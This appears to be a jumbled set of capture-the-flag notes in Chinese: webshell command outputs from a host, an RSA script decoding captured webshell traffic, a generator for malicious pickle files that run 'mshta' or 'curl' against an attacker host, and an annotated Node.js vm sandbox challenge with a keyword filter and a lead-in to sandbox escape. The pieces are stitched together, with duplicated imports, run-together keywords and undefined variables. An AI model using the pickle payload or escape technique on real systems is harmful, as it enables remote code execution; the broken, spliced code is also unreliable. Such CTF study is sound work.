//4 ls / Docker bin boot dev etc home init lib lib32 lib64 libx32 lost+found media mnt mysql_data opt proc root run sbin snap srv sys tmp usr var wslOHicoG wslbmJCJF wslgCJNfE wslhaGDbD
//5 ls /root Compressed Desktop Documents Downloads FLAG Music Pictures Public Templates Videos WSL
//6 ls /root/FLAG hint.py 小明的日记.txt
//7 cd /root/FLAG null
//8 cat 小明的日记.txt' cat: 小明的日记.txt: No such file or directory
//9 cd /root/FLAG && base64 小明的日记.txt' FLAG is NOT HERE!!!!!!!!!!! PASSWORD: Password-based-encryption
//10 cd /root/FLAG && base64 hint.py import base64
import libnum from Crypto.PublicKey import RSA
pubkey = """-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB -----END PUBLIC KEY----- """
import libnum from Crypto.PublicKey import RSA from FlowAnalyzer import FlowAnalyzer
pubkey = """-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB -----END PUBLIC KEY----- """
defdecrypt(cipher_text): # 公钥解密 cipher_text = base64.b64decode(dec_replace(cipher_text)) plain_text = b"" for i inrange(0, len(cipher_text), 128): part = cipher_text[i:i+128] dec = libnum.n2s(pow(libnum.s2n(part), pubkey.e, n)) plain_text += dec return plain_text.decode()
for request, response in FlowAnalyzer(jsonPath).generate_http_dict_pairs(): if request: file_data = parse.parse_qs(request.file_data)[b'shell'][0] print(decrypt(file_data.decode()))
defproduce_pickle_bytes(platform, cmd): b = b'\\x80\\x04\\x95' b += struct.pack('L', 22 + *len*(platform) + *len*(cmd)) b += b'\\x8c' + struct.pack('b', *len*(platform)) + platform.encode() b += b'\\x94\\x8c\\x06system\\x94\\x93\\x94' b += b'\\x8c' + struct.pack('b', *len*(cmd)) + cmd.encode() b += b'\\x94\\x85\\x94R\\x94.' *print*(b) return b
if __name__ == '__main__': if *len*(sys.argv) != 2: exit(f"usage: {sys.argv[0]} ip:port") with *open*('nt.pickle', 'wb') as f: f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/")) with *open*('posix.pickle', 'wb') as f: f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))
app.get("/", function (req, res) { res.sendFile(__dirname + "/public/home.html"); }); //当用户访问根路径/时,发送public目录下的home.html文件。
//编写WAF函数: functionwaf(code) { let pattern = /(process|$$.*?$$|exec|spawn|Buffer|\\\\|\\+|concat|eval|Function)/g; if (code.match(pattern)) { thrownewError("what can I say? hacker out!!"); } } //这是一个简单的Web应用防火墙(WAF)函数,用于检测传入的代码中是否包含潜在的危险关键词,如果包含,则抛出错误。
//处理POST请求: app.post("/", function (req, res) { let code = req.body.code; let sandbox = Object.create(null); let context = vm.createContext(sandbox); try { waf(code); let result = vm.runInContext(code, context); console.log(result); } catch (e) { console.log(e.message); require("./hack"); } }); //当用户通过POST请求发送代码时,首先使用WAF函数检查代码安全性。如果代码安全,它将在一个沙箱环境中执行,以防止潜在的安全风险。如果执行过程中出现错误,将记录错误信息并调用hack模块(这个模块的功能未在代码中给出)。
//处理对秘密文件的请求: app.get("/secret", function (req, res) { if (process.__filename == null) { let content = fs.readFileSync(__filename, "utf-8"); return res.send(content); } else { let content = fs.readFileSync(process.__filename, "utf-8"); return res.send(content); } }); //这个路由处理对/secret路径的GET请求。它检查process.__filename属性是否存在,如果不存在(通常意味着代码是直接运行的,而不是通过node命令),则读取当前文件的内容并发送。如果存在,则读取process.__filename指定的文件内容并发送。
//启动服务器: app.listen(3000, () => { console.log("listen on 3000"); }); //最后,应用程序在3000端口上启动,并在控制台输出“listen on 3000”。
是一个 vm 沙箱,this 为 null,还要借助异常处理
沙箱逃逸的原理与目标
逃逸的意思就是从沙箱这个封闭的环境中逃出来,终极目标是获取全局对象 global 的全局变量 process,因为有了 process 我们就可以在 nodejs 中进行命令执行,具体语句如下: